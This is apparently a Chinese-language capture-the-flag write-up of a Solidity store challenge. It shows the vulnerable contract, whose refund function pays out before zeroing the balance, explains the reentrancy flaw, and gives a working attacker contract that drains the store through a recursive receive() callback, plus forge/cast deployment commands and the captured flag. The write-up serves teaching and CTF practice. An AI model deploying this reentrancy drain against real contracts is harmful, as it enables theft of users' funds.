Yolo 小商店
第一节:题目
给了RPC 代理地址、玩家私钥、挑战合约地址
我们发现我们一开始有10 ETH 而 flag 要50 ETH
然后给了合约源码
第二节:过程
其实一旦看到用户手上的钱比最终要买的flag的钱要少,我们就应该条件反射想到多次退款来赚钱,这道题的逻辑也是这样的,我们来看看这道题给的合约源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract Challenge {
uint256 internal constant ITEM_1 = 1;
uint256 internal constant ITEM_2 = 2;
uint256 internal constant ITEM_3 = 3;
uint256 internal constant PRICE_1 = 5 ether;
uint256 internal constant PRICE_2 = 10 ether;
uint256 internal constant PRICE_3 = 50 ether;
struct Item {
string name;
uint256 price;
uint256 sold;
}
mapping(uint256 => Item) internal _items;
mapping(address => uint256) internal _balance;
mapping(address => uint256) internal _refundable;
bool internal _flagBought;
event Deposited(address indexed account, uint256 amount);
event Bought(address indexed buyer, uint256 indexed itemId, uint256 price);
event Refunded(address indexed buyer, uint256 amount);
event FlagPurchased(address indexed buyer);
constructor() {
_items[ITEM_1] = Item("gift", PRICE_1, 0);
_items[ITEM_2] = Item("wish", PRICE_2, 0);
_items[ITEM_3] = Item("Flag", PRICE_3, 0);
}
function deposit() external payable {
require(msg.value > 0, "Store: zero deposit");
_balance[msg.sender] += msg.value;
emit Deposited(msg.sender, msg.value);
}
function buygift() external {
_buy(ITEM_1);
}
function buywish() external {
_buy(ITEM_2);
}
function buyflag() external {
_buy(ITEM_3);
}
function _buy(uint256 itemId) internal {
Item storage item = _items[itemId];
require(_balance[msg.sender] >= item.price, "Store: insufficient balance - call deposit() first");
if (itemId == ITEM_3) {
require(!_flagBought, "Store: flag already sold");
_flagBought = true;
emit FlagPurchased(msg.sender);
}
_balance[msg.sender] -= item.price;
_refundable[msg.sender] += item.price;
item.sold += 1;
emit Bought(msg.sender, itemId, item.price);
}
function refund() external {
uint256 amount = _refundable[msg.sender];
require(amount > 0, "Store: nothing to refund");
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "Store: refund failed");
_refundable[msg.sender] = 0;
emit Refunded(msg.sender, amount);
}
function balanceOf(address account) external view returns (uint256 availableEth, uint256 refundableEth) {
return (_balance[account] / 1 ether, _refundable[account] / 1 ether);
}
function solved() external view returns (bool) {
return _flagBought;
}
receive() external payable {}
}
其实如果知道了攻击逻辑,那么这么多的合约代码都不用看,你只需要注意到一个函数
function refund() external {
uint256 amount = _refundable[msg.sender];
require(amount > 0, "Store: nothing to refund");
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "Store: refund failed");
_refundable[msg.sender] = 0;
emit Refunded(msg.sender, amount);
}
这里要给到一个知识点,注意这里的
(bool ok,) = msg.sender.call{value: amount}("");
call函数有一个特性,在call了之后,会先把目标地址的代码执行,再返回到该函数继续执行。
之后我们要了解另外一个知识点,receive()函数会在ETH转移的那一刻自动执行。
有趣的来了,如果我们在receive函数里面调用refund呢?
死循环了!会一直一直退款退款!!我们好像找到了攻击逻辑
也就是说,如果我们通过A函数里面调用的challenge.refund()函数,refund执行到call这一行的时候会先把5ETH打给攻击合约,然后会触发receive函数。等这道题receive的递归执行结束之后,refund才会执行call下面的require和清零。attack在等refund执行完之后再执行
不过如果我们一直执行refund,需要有一个退出条件才行,那我们就当我们赚到了50ETH退出吧。
也就是最终的逻辑
attack 调 challenge.refund()
└─ refund 执行到 call,把 5 ETH 打给攻击合约
└─ 钱到账,receive() 自动执行
└─ receive 里再调 challenge.refund() -> 递归
└─ receive 返回后,refund 才继续执行 call 下面的 require 和清零
└─ refund 返回后,attack 才继续往下走
不过还要考虑一件事情就是我们要注意require函数
require函数一般是以这样的形式存在的
require(A,"False")
如果A条件不满足,会打印“False”的同时,回退所有你之前做过的事情而不返回你花过的gas (简单认为是执行代码的油量,也就是说你代码执行已经花出去的钱就没办法撤回了,但是你转移的ETH会一路回滚) ,而这道题challenge.refund里面的require就在call下面
require(ok, "Store: refund failed");
而我们的攻击是通过退款gift(5ETH)来完成的,也就是说,我们得至少保证商店里还有5ETH(其实是多虑了),防止ok失败导致回滚
那么我们就构造我们的攻击合约吧
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Challenge} from "./Challenge.sol";
contract Attacker {
Challenge internal immutable challenge;
constructor(Challenge _challenge) {
challenge = _challenge;
}
function attack() external payable{
require(msg.value >= 5 ether, "need 5 ETH");
challenge.deposit{value:5 ether}();
challenge.buygift();
challenge.refund();
challenge.deposit{value:50 ether}();
challenge.buyflag();
}
receive() external payable {
if(address(challenge).balance >= 5 ether && address(this).balance < 50 ether){
challenge.refund();
}
}
}
我们一共只需要在攻击合约里部署两个函数——attack和receive,然后给攻击合约上传到智能合约里即可,部署完之后我们打开实例,然后要做的只是调用attack函数,receive就会在途中自动执行帮我们攒够50ETH
最后我们用forge来部署合约,cast来发起交易调用attack,然后之后回到网站看看solve了没有
export RPC=...
export PK=...
export CHALLENGE=
export FORGE=.../forge.exe
export CAST=.../cast.exe
"$FORGE" create src/Attacker.sol:Attacker \
--rpc-url "$RPC" --private-key "$PK" --broadcast \
--constructor-args "$CHALLENGE"
"$CAST" send 攻击合约地址 "attack()" --value 5ether \
--rpc-url "$RPC" --private-key "$PK"
注:攻击合约地址只有在执行了前面的FORGE命令才会出现。你可以看到的部署完FORGE之后会出现一个Deployed to: 0x...那个就是攻击合约的地址
然后就拿到flag了~

复现flagQCTF{55e580ff-3201-4709-a140-7e9d21dbd93c}